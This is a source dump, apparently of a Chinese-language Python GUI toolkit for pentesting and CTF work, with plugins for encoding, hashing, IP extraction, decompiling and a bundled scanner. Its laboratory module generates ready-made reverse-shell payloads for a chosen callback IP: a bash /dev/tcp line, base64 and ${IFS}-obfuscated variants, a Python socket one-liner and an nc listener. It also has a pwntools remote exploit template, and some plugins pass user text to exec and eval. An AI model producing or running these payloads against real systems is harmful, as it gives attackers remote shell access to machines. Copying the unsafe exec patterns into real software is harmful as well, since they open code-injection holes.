fileName = fileName.decode('utf-8') 421 | except: 422 | pass 423 | 424 | # Prevent writing outside dirName 425 | fileName = fileName.replace('..', '__').replace('.', os.path.sep) 426 | 427 | if ispkg == 1: 428 | filePath = os.path.join(dirName, fileName, '__init__.pyc') 429 | 430 | else: 431 | filePath = os.path.join(dirName, fileName + '.pyc') 432 | 433 | fileDir = os.path.dirname(filePath) 434 | if not os.path.exists(fileDir): 435 | os.makedirs(fileDir) 436 | 437 | try: 438 | data = f.read(length) 439 | data = zlib.decompress(data) 440 | except: 441 | print('[!] Error: Failed to decompress {0}, probably encrypted. Extracting as is.'.format(filePath)) 442 | open(filePath + '.encrypted', 'wb').write(data) 443 | else: 444 | self._writePyc(filePath, data) 445 | 446 | 447 | def main(): 448 | if len(sys.argv) < 2: 449 | print('[+] Usage: pyinstxtractor.py ') 450 | 451 | else: 452 | arch = PyInstArchive(sys.argv[1]) 453 | if arch.open(): 454 | if arch.checkFile(): 455 | if arch.getCArchiveInfo(): 456 | arch.parseTOC() 457 | arch.extractFiles() 458 | arch.close() 459 | print('[+] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1])) 460 | print('') 461 | print('You can now use a python decompiler on the pyc files within the extracted directory') 462 | return 463 | 464 | arch.close() 465 | 466 | 467 | if __name__ == '__main__': 468 | main() 469 | -------------------------------------------------------------------------------- /plugin/_tool/fscan/fscan32.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wstone0011/pyoneGUI/eaa15691443149063cfb8a18e9a4943018f01b8f/plugin/_tool/fscan/fscan32.exe -------------------------------------------------------------------------------- /plugin/base.py: -------------------------------------------------------------------------------- 1 | from tkinter import filedialog 2 | from tkinter import messagebox 3 | import tkinter as tk 4 | import subprocess 5 | import importlib.util 6 | import sys 7 | import os 8 | 9 | # 集成Plugin类的对象会被自动识别为插件类 10 | # name是插件名称,enable表示插件是否启用,另外,点击插件时会自动调用run函数,因此,子类应该重写该方法。 11 | class Plugin(object): 12 | menu="插件" #放在哪个菜单下面 13 | name="base" #插件名称 14 | desc="" #插件描述 15 | enable=True #插件默认启用,可以配置关闭 16 | type="text" #text、laboratory。插件默认为文本处理类型,也可以配置为实验室类型,可以自定义界面 17 | frame_args={"text_tab_num":10, "cur_tab_id":0, "cur_text":"", "tab_laboratory":""} 18 | #options=[] #[{"Name":"URL", "Current Setting":"", "Required":"yes", "Description":"目标URL", "obj":url_label }],用实例对象而不是类对象,确保每个插件的options独立 19 | plugin_directory="" 20 | plugin_filepath="" 21 | def headers(self): 22 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36"} 23 | return headers 24 | 25 | def _run(self, args): #当为text类型的插件时,框架调用此函数 26 | self.frame_args.update(args) 27 | return self.run(self.frame_args["cur_text"]) 28 | 29 | def run(self, text=""): 30 | return text 31 | 32 | def getBaseClassNameChain(self): 33 | cls = self.__class__ 34 | #chain = [cls.__name__] 35 | chain = [] 36 | 37 | while 1: 38 | cls = cls.__base__ # 获取直接基类 39 | if not cls: 40 | break 41 | if "object"==cls.__name__: 42 | break 43 | chain.insert(0, cls.__name__) 44 | 45 | return "->".join(chain) 46 | 47 | def getDescription(self): 48 | content=f''' 49 | 插件: {self.menu}\n 50 | 名称: {self.name}\n 51 | 类型: {"文本操作" if self.type=="text" else "界面操作"}\n 52 | 类名: {self.__class__.__name__}\n 53 | 父类: {self.getBaseClassNameChain()}\n 54 | 目录: {self.plugin_directory}\n 55 | 脚本: {self.plugin_filepath}\n 56 | 描述: {self.desc if self.desc else "该插件未添加描述信息。"} 57 | ''' 58 | return content 59 | 60 | def buildWindow(self): #当为有界面的插件时,框架调用此函数,通过在子类中重写该方法,可以实现插件自定义界面 61 | return self.buildWindowUrl() 62 | 63 | def readFile(self, file): 64 | return Utils.readFile(file) 65 | 66 | def writeFile(self, file, content): 67 | return Utils.writeFile(file, content) 68 | 69 | def executeCommand(self, args, bufsize=0, executable=None, 70 | stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, 71 | preexec_fn=None, close_fds=True, 72 | shell=True, cwd=None, env=None, universal_newlines=None, 73 | startupinfo=None, creationflags=0, 74 | restore_signals=True, start_new_session=False, 75 | pass_fds=(), *rest, encoding=None, errors=None, text=None, logfunc=None): 76 | 77 | process = subprocess.Popen(args=args, bufsize=bufsize, executable=executable, 78 | stdin=stdin, stdout=stdout, stderr=stderr, 79 | preexec_fn=preexec_fn, close_fds=close_fds, 80 | shell=shell, cwd=cwd, env=env, universal_newlines=universal_newlines, 81 | startupinfo=startupinfo, creationflags=creationflags, 82 | restore_signals=restore_signals, start_new_session=start_new_session, 83 | pass_fds=pass_fds, *rest, encoding=encoding, errors=errors, text=text) # *rest传进来了,但是暂时用不到,可能是为了以后的兼容性 84 | #process = subprocess.Popen(args, bufsize, executable, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) 85 | 86 | # 实时读取子进程输出 87 | while True: 88 | data = process.stdout.readline() 89 | if data == b'' and process.poll() is not None: 90 | break 91 | 92 | try: 93 | output = data.decode('utf-8') 94 | except: 95 | output = data.decode('gbk') 96 | 97 | if output and not logfunc: 98 | print(output, end="") 99 | elif output and logfunc: 100 | logfunc(output) 101 | # 等待子进程彻底结束 102 | process.wait() 103 | 104 | return process.returncode 105 | 106 | def filedialogAskopenfilename(self, **options): 107 | return filedialog.askopenfilename(**options) 108 | 109 | def messageboxShowinfo(self, title=None, message=None, **options): 110 | return messagebox.showinfo(title=title, message=message, **options) 111 | 112 | def onStart(self, event=None): 113 | self.output_text.insert(tk.END, "onStart\n") 114 | 115 | def onStop(self, event=None): 116 | self.output_text.insert(tk.END, "onStop\n") 117 | 118 | def showHelp(self, event=None): 119 | self.log("[+] show options\n") 120 | self.showOptions() 121 | 122 | def getOptions(self): 123 | for dic in self.options: 124 | if "obj" in dic: 125 | try: 126 | value = dic["obj"].get() 127 | except: 128 | value = str(dic["obj"]) 129 | dic["Current Setting"]=value 130 | return self.options 131 | 132 | def log(self, *args): 133 | msg=" ".join([str(x) for x in args]) 134 | self.output_text.insert(tk.END, msg) 135 | 136 | def clearLog(self): 137 | self.output_text.delete("1.0", tk.END) 138 | 139 | def showOptions(self): 140 | if not self.options: 141 | self.log("参数为空") 142 | return 143 | self.getOptions() 144 | 145 | #计算每个key的显示字符个数 146 | OPTION_KEYS=["Name", "Current Setting", "Required", "Description"] 147 | klen={} 148 | for key in OPTION_KEYS: 149 | l=len(key) 150 | for dic in self.options: 151 | if l C:\Windows\System32 104 | {"a": "ab\'c"} -> {"a": "ab'c"} 105 | '{"a": "ab\'c"}' -> {"a": "ab'c"} 106 | ''' 107 | def run(self, text): 108 | if not text: 109 | return "" 110 | if text.startswith("'"): 111 | text=text[1:] 112 | if text.endswith("'"): 113 | text=text[:-1] 114 | local_vars={} 115 | exec(r'''res='$$$TEXT$$' '''.replace('$$$TEXT$$', text), local_vars) 116 | return local_vars["res"] 117 | 118 | class IpExtractor(Plugin): 119 | menu="文本处理" 120 | name="IP提取" 121 | def run(self, text): 122 | if not text: 123 | return "" 124 | REGEXP_IPV4 = r"(?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))" 125 | REGEXP_IPV4_MASK = r"(?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))/(?:[0-9]|[1-2][0-9]|3[0-2])" 126 | REGEXP_IPV4_RANGE = r"(?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))\-(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))" 127 | REGEXP_IPV4_RANGE2 = r"(?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))\-(?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))" 128 | pattern="((?:{REGEXP_IPV4_RANGE2})|(?:{REGEXP_IPV4_RANGE})|(?:{REGEXP_IPV4_MASK})|(?:{REGEXP_IPV4}))(?:[^0-9]|$)".format(REGEXP_IPV4=REGEXP_IPV4, REGEXP_IPV4_MASK=REGEXP_IPV4_MASK, REGEXP_IPV4_RANGE=REGEXP_IPV4_RANGE, REGEXP_IPV4_RANGE2=REGEXP_IPV4_RANGE2) #要把REGEXP_IPV4_RANGE2放在前面,否则提前匹配结束,和预期不符。(?:XX)表示匹配但不捕获 129 | res=re.findall(pattern, text) 130 | return "\n".join(res) 131 | 132 | class IpRemoveDuplicates(Plugin): 133 | menu="文本处理" 134 | name="IP去重" 135 | def run(self, text): 136 | if not text: 137 | return "" 138 | local_vars={} 139 | exec(self.readFile("plugin/lib/IPs.py"), local_vars) #exec(code, globals()) 有效,但怕污染全局变量,尤其是插件多了之后; 140 | IPs=local_vars["IPs"] #exec(code, locals()) 只能修改局部变量副本,没什么用 141 | 142 | ips=IPs() #IPs的实现在lib目录的IPs.py 143 | REGEXP_IPV4 = r"((?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5])))(?:[^0-9]|$)" #^表示取反,即从数字开始,但最后要非数字 144 | res=re.findall(REGEXP_IPV4, text) 145 | for _ in res: 146 | ips|=IPs(_) 147 | REGEXP_IPV4_MASK = r"((?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))/(?:[0-9]|[1-2][0-9]|3[0-2]))(?:[^0-9]|$)" 148 | res=re.findall(REGEXP_IPV4_MASK, text) 149 | for _ in res: 150 | ips|=IPs(_) 151 | REGEXP_IPV4_RANGE = r"((?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))\-(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5])))(?:[^0-9]|$)" 152 | res=re.findall(REGEXP_IPV4_RANGE, text) 153 | for _ in res: 154 | ips|=IPs(_) 155 | REGEXP_IPV4_RANGE2 = r"((?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5]))\-(?:(?:(?:\d{1,2})|(?:1\d{2})|(?:2[0-4]\d)|(?:25[0-5]))\.){3}(?:(?:1\d{2})|(?:\d{1,2})|(?:2[0-4]\d)|(?:25[0-5])))(?:[^0-9]|$)" 156 | res=re.findall(REGEXP_IPV4_RANGE2, text) 157 | for _ in res: 158 | ips|=IPs(_) 159 | return str(ips) 160 | 161 | class JsonView(Plugin): 162 | menu="文本处理" 163 | name="json格式化" 164 | def run(self, text): 165 | if not text: 166 | return "" 167 | j=json.loads(text) 168 | #formatted_json = json.dumps(j, indent=4) 169 | formatted_json = json.dumps(j, indent=4, ensure_ascii=False) 170 | return formatted_json 171 | 172 | class ToLower(Plugin): 173 | menu="文本处理" 174 | name="转小写" 175 | def run(self, text): 176 | if not text: 177 | return "" 178 | return text.lower() 179 | 180 | class ToUpper(Plugin): 181 | menu="文本处理" 182 | name="转大写" 183 | def run(self, text): 184 | if not text: 185 | return "" 186 | return text.upper() 187 | 188 | # 编码解码 189 | class Base64Encode(Plugin): 190 | menu="编码解码" 191 | name="base64编码" 192 | def run(self, text): 193 | if not text: 194 | return "" 195 | return base64.b64encode(text.encode("utf-8")).decode("utf-8") 196 | 197 | class Base64Decode(Plugin): 198 | menu="编码解码" 199 | name="base64解码" 200 | def run(self, text): 201 | if not text: 202 | return "" 203 | return base64.b64decode(text).decode("utf-8") 204 | 205 | class HexEncode(Plugin): 206 | menu="编码解码" 207 | name="hex编码" 208 | def run(self, text): 209 | if not text: 210 | return "" 211 | return text.encode("utf-8").hex() 212 | 213 | class HexDecode(Plugin): 214 | menu="编码解码" 215 | name="hex解码" 216 | def run(self, text): 217 | if not text: 218 | return "" 219 | decoded_bytes = bytes.fromhex(text) 220 | return decoded_bytes.decode("utf-8") 221 | 222 | class Hex2CArray(Plugin): 223 | menu="编码解码" 224 | name="Hex转C数组" 225 | def run(self, text): 226 | if not text: 227 | return "" 228 | 229 | c_code = "unsigned char data[] = {\n" 230 | for i in range(0, len(text), 2): 231 | byte = text[i:i+2] 232 | c_code += f"0x{byte}" 233 | if i < len(text) - 2: 234 | c_code += ", " 235 | if (i + 2) % 32 == 0: 236 | c_code += "\n" 237 | c_code += "};" 238 | return c_code 239 | 240 | class Hex2PythonArray(Plugin): 241 | menu="编码解码" 242 | name="Hex转Python数组" 243 | def run(self, text): 244 | if not text: 245 | return "" 246 | 247 | py_code = "data = [\n" 248 | for i in range(0, len(text), 2): 249 | byte = text[i:i+2] 250 | py_code += f"0x{byte}" 251 | if i < len(text) - 2: 252 | py_code += ", " 253 | if (i + 2) % 32 == 0: 254 | py_code += "\n" 255 | py_code += "]" 256 | return py_code 257 | 258 | class XWwwFormUrlencoded2Json(Plugin): 259 | menu="编码解码" 260 | name="URL查询字符串转json格式" 261 | desc=r'''形如:a=1&b=2 -> {"a": "1", "b": "2"}''' 262 | def run(self, text): 263 | #从application/x-www-form-urlencoded转application/json格式 264 | if not text: 265 | return "" 266 | 267 | dic={} 268 | decoded_params = parse_qs(text) 269 | for key, values in decoded_params.items(): 270 | decoded_values = [value for value in map(unquote, values)] 271 | #print(key, decoded_values) 272 | if len(decoded_values)==1: 273 | dic[key]=decoded_values[0] 274 | else: 275 | dic[key]=decoded_values 276 | return json.dumps(dic) 277 | 278 | # 加密解密 279 | class HashIdentifier(Plugin): 280 | menu="加密解密" 281 | name="哈希算法识别(hash-identifier)" 282 | desc=r'''参考 https://github.com/blackploit/hash-identifier/blob/master/hash-id.py''' 283 | def run(self, text): 284 | if not text: 285 | return "" 286 | 287 | python_path=sys.executable 288 | py_path=os.path.normpath(os.getcwd()+"/"+self.plugin_directory+"/_lib/hash-id.py") #有对hash-id.py进行简单修改 289 | cmd=[python_path, py_path, text.strip()] 290 | logs=[] 291 | self.executeCommand(cmd, cwd=None, logfunc=lambda o:logs.append(o) ) 292 | result =f"[!] {self.desc}\n\n" 293 | result+=os.path.normpath(f"[+] {' '.join(cmd)}\n") 294 | result+="".join(logs)+"\n" 295 | return result 296 | 297 | class Md5(Plugin): 298 | menu="加密解密" 299 | name="md5" 300 | def run(self, text): 301 | if not text: 302 | return "" 303 | h = hashlib.md5() 304 | h.update(text.encode('utf-8')) 305 | return h.hexdigest() 306 | 307 | class Sha1(Plugin): 308 | menu="加密解密" 309 | name="sha1" 310 | def run(self, text): 311 | if not text: 312 | return "" 313 | h = hashlib.sha1() 314 | h.update(text.encode('utf-8')) 315 | return h.hexdigest() 316 | 317 | class Sha256(Plugin): 318 | menu="加密解密" 319 | name="sha256" 320 | def run(self, text): 321 | if not text: 322 | return "" 323 | h = hashlib.sha256() 324 | h.update(text.encode('utf-8')) 325 | return h.hexdigest() 326 | 327 | # 代码执行 328 | class ExecPython(Plugin): 329 | menu="代码执行" 330 | name="执行Python代码(exec执行)" 331 | def run(self, text): 332 | if not text: 333 | return "" 334 | try: 335 | def fn(): 336 | local_vars={} 337 | exec(text, local_vars) #虽然用了local_vars,但import的库仍然会影响全局。 338 | 339 | thread = threading.Thread(target=fn) 340 | thread.start() 341 | except Exception as e: 342 | print(e) 343 | return text 344 | 345 | class ExecPython2(Plugin): 346 | menu="代码执行" 347 | name="执行Python代码(subprocess.Popen调用)" 348 | def run(self, text): 349 | if not text: 350 | return "" 351 | try: 352 | def fn(): 353 | if sys.executable.endswith(r"\python.exe"): 354 | command = sys.executable 355 | process = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) 356 | output, _ = process.communicate(input=text) 357 | if output: 358 | print(output, end="") 359 | 360 | else: 361 | print(sys.executable) 362 | print("[!] unsupported operation") 363 | 364 | thread = threading.Thread(target=fn) 365 | thread.start() 366 | except Exception as e: 367 | print(e) 368 | return text 369 | 370 | class EvalPython(Plugin): 371 | menu="代码执行" 372 | name="数值计算(eval)" 373 | desc=r'''形如,(1+2)*3 -> 9=(1+2)*3''' 374 | def run(self, text): 375 | if not text: 376 | return "" 377 | answer = eval(text) 378 | return "{answer}={expression}".format(answer=answer, expression=text) 379 | 380 | # 逆向分析 381 | class Pyinstxtractor(Plugin): 382 | menu="逆向分析" 383 | name="pyinstaller解包(pyinstxtractor)" 384 | desc=r'''本功能源自: https://github.com/extremecoders-re/pyinstxtractor ,最后一次提交记录:Commits on Feb 22, 2025''' 385 | def run(self, text): 386 | result=f"[!] {self.desc}" 387 | result+="\n\n" 388 | 389 | file = self.filedialogAskopenfilename(initialdir=None) 390 | if not file: 391 | return text 392 | 393 | python_path=sys.executable 394 | py_path=os.path.normpath(os.getcwd()+"/"+self.plugin_directory+"/_lib/pyinstxtractor.py") 395 | cmd=[python_path, py_path, file] 396 | logs=[] 397 | self.executeCommand(cmd, cwd=os.path.dirname(file), logfunc=lambda o:logs.append(o) ) 398 | result+=os.path.normpath(f"[+] {' '.join(cmd)}\n") 399 | result+="".join(logs)+"\n" 400 | return result 401 | 402 | class Uncompyle6(Plugin): 403 | menu="逆向分析" 404 | name="pyc反编译(uncompyle6)" 405 | desc="本功能源自: https://github.com/rocky/python-uncompyle6" 406 | def run(self, text): 407 | result=f"[!] {self.desc}\n\n" 408 | file = self.filedialogAskopenfilename(initialdir=None, filetypes=[("Compiled Python Files", "*.pyc"), ("All Files", "*")]) #弹出对话框选择文件,在Plugin基类里实现 409 | if not file: 410 | return text 411 | 412 | uncompyle6_path=f"{os.path.dirname(sys.executable)}/Scripts/uncompyle6" 413 | cmd=[uncompyle6_path, "-o", "./", file] # a.pyc -> a.pyc_dis 414 | logs=[] 415 | self.executeCommand(cmd, cwd=os.path.dirname(file), logfunc=lambda o:logs.append(o) ) 416 | result+=os.path.normpath(f"[+] {' '.join(cmd)}\n") 417 | result+="".join(logs)+"\n" 418 | result+=file+" 反编译结束。" 419 | return result 420 | 421 | # 系统管理 422 | class InfoPythonVersion(Plugin): 423 | menu="系统管理" 424 | name="查看Python版本" 425 | def run(self, text): 426 | import sys 427 | return sys.version 428 | 429 | class InfoSysPath(Plugin): 430 | menu="系统管理" 431 | name="查看sys.path" 432 | def run(self, text): 433 | import sys 434 | return "\n".join(sys.path) 435 | 436 | class InfoModules(Plugin): 437 | menu="系统管理" 438 | name="查看依赖库信息" 439 | def run(self, text): 440 | import sys 441 | res="" 442 | for module_name in list(sys.modules): 443 | # 获取模块对象 444 | module = sys.modules.get(module_name) 445 | 446 | # 获取版本号(兼容不同模块的版本属性) 447 | version = "" 448 | if module: 449 | try: 450 | # 优先尝试标准版本属性 451 | version = getattr(module, '__version__', None) 452 | 453 | # 部分模块使用 VERSION 属性(如Django) 454 | if version is None: 455 | version = getattr(module, 'VERSION', None) 456 | 457 | # 部分模块使用 __version 属性(如deepspeed) 458 | if version is None: 459 | version = getattr(module, '__version', None) 460 | 461 | if version is None: 462 | version = getattr(module, 'version', None) 463 | 464 | # 其他特殊情况处理 465 | if version is None and module_name == 'sys': 466 | version = f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}" 467 | 468 | version = version or "" # 最终兜底 469 | except Exception as e: 470 | version = f"Error: {str(e)}" 471 | 472 | if version: 473 | res += f"{module_name} ({version})\n" 474 | else: 475 | res += f"{module_name}\n" 476 | return res 477 | 478 | class InfoPlugin(Plugin): 479 | menu="系统管理" 480 | name="查看插件列表" 481 | def run(self, text): 482 | res="" 483 | for _ in self.frame_args["pluginhub"]: 484 | obj=_["obj"] 485 | res+=f"{obj.menu}/{obj.name}{'' if obj.enable else f' (已禁用,类名: {obj.__class__.__name__},路径: {obj.plugin_filepath} )'}\n" 486 | return res 487 | -------------------------------------------------------------------------------- /plugin/laboratory.py: -------------------------------------------------------------------------------- 1 | import http.server 2 | import socketserver 3 | import threading 4 | from tkinter import ttk 5 | 6 | # 载荷生成 7 | class ReverseShell(Plugin): 8 | menu="载荷生成" 9 | name="反弹Shell" 10 | type="laboratory" 11 | def buildWindow(self): 12 | tab_laboratory = self.frame_args["tab_laboratory"] 13 | frame0 = tk.Frame(tab_laboratory) 14 | frame0.grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) 15 | host_label = tk.Label(frame0, text="反弹IP:") 16 | host_label.grid(row=0, column=nexti(i=0)) 17 | host_entry = tk.Entry(frame0, width=20) 18 | host_entry.insert(0, "127.0.0.1") 19 | host_entry.grid(row=0, column=nexti()) 20 | port_label = tk.Label(frame0, text="端口:") 21 | port_label.grid(row=0, column=nexti()) 22 | port_entry = tk.Entry(frame0, width=8) 23 | port_entry.insert(0, "4444") 24 | port_entry.grid(row=0, column=nexti()) 25 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 26 | button_start = tk.Button(frame0, text="生成", command=self.onStart) 27 | button_start.grid(row=0, column=nexti(), padx=5) 28 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 29 | button_help = tk.Button(frame0, text="查看帮助文档", command=self.showHelp) 30 | button_help.grid(row=0, column=nexti(), padx=5) 31 | 32 | frame1 = tk.Frame(tab_laboratory) 33 | frame1.grid(row=1, column=0, pady=5, sticky=tk.NSEW) 34 | self.output_text = tk.Text(frame1) 35 | self.output_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 36 | scroll_y = ttk.Scrollbar(frame1, orient=tk.VERTICAL) 37 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 38 | scroll_y.configure(command=self.output_text.yview) 39 | self.output_text.configure(yscrollcommand=scroll_y.set) 40 | 41 | # 设置网格布局列和行权重 42 | tab_laboratory.grid_columnconfigure(0, weight=1) 43 | tab_laboratory.grid_rowconfigure(1, weight=1) 44 | 45 | # 设置options 46 | self.options=Options() 47 | dic={"Name":"IP", "Current Setting":"", "Required":"yes", "Description":"回连IP", "obj":host_entry } 48 | self.options.append(dic) 49 | dic={"Name":"PORT", "Current Setting":"", "Required":"yes", "Description":"回连端口", "obj":port_entry } 50 | self.options.append(dic) 51 | return self.output_text 52 | 53 | def onStart(self, event=None): 54 | options=self.getOptions() 55 | IP=options["IP"] 56 | PORT=int(options["PORT"]) 57 | 58 | result =f"[+] 在回连服务器{IP}上执行监听命令\n" 59 | result+=f"nc -lvp {PORT}"+"\n\n" 60 | result+=f"[+] 生成针对{IP}:{PORT}的反弹Shell载荷\n" 61 | result+="Bash反弹:\n" 62 | payload=f"bash -i >& /dev/tcp/{IP}/{PORT} 0>&1" 63 | result+=payload+"\n" 64 | b64payload=base64.b64encode(payload.encode("utf-8")).decode("utf-8") 65 | result+=f"echo {b64payload}|base64 -d|bash"+"\n" 66 | result+='bash${IFS}-c${IFS}"{echo,'+b64payload+'}|{base64,-d}|{bash,-i}"' 67 | result+="\n\n" 68 | result+="Python反弹:\n" 69 | payload=r'''python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'''+IP+'",'+str(PORT)+'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'+"'" 70 | result+=payload 71 | result+="\n\n" 72 | self.log(result) 73 | 74 | def showHelp(self, event=None): 75 | super().showHelp() 76 | 77 | class PwntoolsTemplate1(Plugin): 78 | menu="载荷生成" 79 | name="pwntools模板1" 80 | type="laboratory" 81 | def buildWindow(self): 82 | tab_laboratory = self.frame_args["tab_laboratory"] 83 | frame0 = tk.Frame(tab_laboratory) 84 | frame0.grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) 85 | host_label = tk.Label(frame0, text="目标:") 86 | host_label.grid(row=0, column=nexti(i=0)) 87 | host_entry = tk.Entry(frame0, width=20) 88 | host_entry.insert(0, "127.0.0.1") 89 | host_entry.grid(row=0, column=nexti()) 90 | port_label = tk.Label(frame0, text="端口:") 91 | port_label.grid(row=0, column=nexti()) 92 | port_entry = tk.Entry(frame0, width=8) 93 | port_entry.insert(0, "4444") 94 | port_entry.grid(row=0, column=nexti()) 95 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 96 | button_start = tk.Button(frame0, text="生成", command=self.onStart) 97 | button_start.grid(row=0, column=nexti(), padx=5) 98 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 99 | button_help = tk.Button(frame0, text="查看帮助文档", command=self.showHelp) 100 | button_help.grid(row=0, column=nexti(), padx=5) 101 | 102 | frame1 = tk.Frame(tab_laboratory) 103 | frame1.grid(row=1, column=0, pady=5, sticky=tk.NSEW) 104 | self.output_text = tk.Text(frame1) 105 | self.output_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 106 | scroll_y = ttk.Scrollbar(frame1, orient=tk.VERTICAL) 107 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 108 | scroll_y.configure(command=self.output_text.yview) 109 | self.output_text.configure(yscrollcommand=scroll_y.set) 110 | 111 | # 设置网格布局列和行权重 112 | tab_laboratory.grid_columnconfigure(0, weight=1) 113 | tab_laboratory.grid_rowconfigure(1, weight=1) 114 | 115 | # 设置options 116 | self.options=Options() 117 | dic={"Name":"HOST", "Current Setting":"", "Required":"yes", "Description":"目标主机", "obj":host_entry } 118 | self.options.append(dic) 119 | dic={"Name":"PORT", "Current Setting":"", "Required":"yes", "Description":"远程端口", "obj":port_entry } 120 | self.options.append(dic) 121 | return self.output_text 122 | 123 | def onStart(self, event=None): 124 | options=self.getOptions() 125 | HOST=options["HOST"] 126 | PORT=options["PORT"] 127 | 128 | result =f'''from pwn import * 129 | 130 | #p=process("./pwn") 131 | p=remote("{HOST}", {PORT}) 132 | 133 | #data=p.recvuntil(b"BABY_STACK") 134 | #print(data) 135 | 136 | #payload=b"A"*40+p64(ret)+p64(pop_rdi_ret)+p64(sh)+p64(system_plt) 137 | #p.sendline(payload) 138 | 139 | p.interactive() 140 | 141 | ''' 142 | self.log(result) 143 | 144 | def showHelp(self, event=None): 145 | super().showHelp() 146 | 147 | class CMD(Plugin): 148 | menu="实验室" 149 | name="命令行" 150 | type="laboratory" 151 | def buildWindow(self): 152 | tab_laboratory = self.frame_args["tab_laboratory"] 153 | frame0 = tk.Frame(tab_laboratory) 154 | frame0.grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) 155 | cmd_label = tk.Label(frame0, text="CMD:") 156 | cmd_label.grid(row=0, column=nexti(i=0)) 157 | cmd_entry = tk.Entry(frame0, width=100) 158 | cmd_entry.grid(row=0, column=nexti()) 159 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 160 | button_start = tk.Button(frame0, text="执行", command=self.onStart) 161 | button_start.grid(row=0, column=nexti(), padx=5) 162 | button_stop = tk.Button(frame0, text="停止", command=self.onStop) 163 | button_stop.grid(row=0, column=nexti(), padx=5) 164 | tk.Label(frame0, width=5).grid(row=0, column=nexti(), padx=5) #占位 165 | button_help = tk.Button(frame0, text="查看帮助文档", command=self.showHelp) 166 | button_help.grid(row=0, column=nexti(), padx=5) 167 | 168 | frame1 = tk.Frame(tab_laboratory) 169 | frame1.grid(row=1, column=0, pady=5, sticky=tk.NSEW) 170 | self.output_text = tk.Text(frame1) 171 | self.output_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 172 | scroll_y = ttk.Scrollbar(frame1, orient=tk.VERTICAL) 173 | scroll_y.pack(side=tk.RIGHT, fill=tk.Y) 174 | scroll_y.configure(command=self.output_text.yview) 175 | self.output_text.configure(yscrollcommand=scroll_y.set) 176 | 177 | # 绑定回车事件 178 | cmd_entry.bind('', self.onStart) 179 | 180 | # 设置网格布局列和行权重 181 | tab_laboratory.grid_columnconfigure(0, weight=1) 182 | tab_laboratory.grid_rowconfigure(1, weight=1) 183 | 184 | # 设置options 185 | self.options=Options() 186 | dic={"Name":"CMD", "Current Setting":"", "Required":"yes", "Description":"执行的命令", "obj":cmd_entry } 187 | self.options.append(dic) 188 | return self.output_text 189 | 190 | def onStart(self, event=None): 191 | options=self.getOptions() 192 | cmd=options["CMD"] 193 | 194 | self.log(f"[+] {cmd}\n") 195 | self.executeCommand(cmd, logfunc=self.log) 196 | # TODO:添加自定义命令,并使自定义命令和系统命令都支持管道 197 | 198 | def onStop(self, event=None): 199 | self.log("[*] onStop\n") 200 | 201 | def showHelp(self, event=None): 202 | super().showHelp() 203 | help="功能上相当于system(CMD)\n\n"\ 204 | "Windows下常用命令:\n"\ 205 | "netstat -ano | findstr LISTEN\t\t\t查看监听端口\n"\ 206 | "\n" 207 | self.log(help) 208 | 209 | class WorkflowOrchestration(Plugin): 210 | menu="实验室" 211 | name="场景编排demo" 212 | type="text" 213 | def run(self, text): 214 | tasks=[] 215 | tasks+=[RemoveDuplicates] 216 | tasks+=[ToLower] 217 | tasks+=[SortLines] 218 | 219 | for _ in tasks: 220 